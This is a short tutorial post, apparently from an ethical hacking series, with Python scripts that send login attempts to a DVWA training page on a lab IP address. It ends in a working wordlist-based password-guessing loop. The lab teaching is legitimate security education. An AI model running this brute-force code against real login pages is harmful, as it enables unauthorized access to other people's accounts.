zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    Guessing Login Information on Login Pages

    Our target website: http://10.0.0.45/dvwa/login.php

    #!/usr/bin/env python
    
    import requests
    
    target_url = "http://10.0.0.45/dvwa/login.php"
    data_dict = {"username": "dfdfddfd", "password": "1234", "Login": "submit"}
    response = requests.post(target_url, data = data_dict)
    print(response.content.decode())

    Execute the Python Script.

    #!/usr/bin/env python
    
    import requests
    
    target_url = "http://10.0.0.45/dvwa/login.php"
    data_dict = {"username": "admin", "password": "password", "Login": "submit"}
    response = requests.post(target_url, data = data_dict)
    print(response.content.decode())

    #!/usr/bin/env python
    
    import requests
    
    target_url = "http://10.0.0.45/dvwa/login.php"
    data_dict = {"username": "admin", "password": "", "Login": "submit"}
    
    with open("password.list", "r") as wordlist_file:
        for line in wordlist_file:
            word = line.strip()
            data_dict["password"] = word
            response = requests.post(target_url, data=data_dict)
            if "Login failed" not in response.content.decode():
                print("[+] Got the password --> " + word)
                exit()
    
    print("[+] Reached end of line.")

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    vbr mp3
    NDK setup error
    转载 MPEG2视频解码在ARM11上的优化
    arm程序设计优化
    小情歌
    android update project
    Linux环境下的DNW使用
    2010的计划
    Setting up UDEV rules to grant access to your phone
    Debugging Native Code for android
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11706825.html
Copyright © 2011-2022 走看看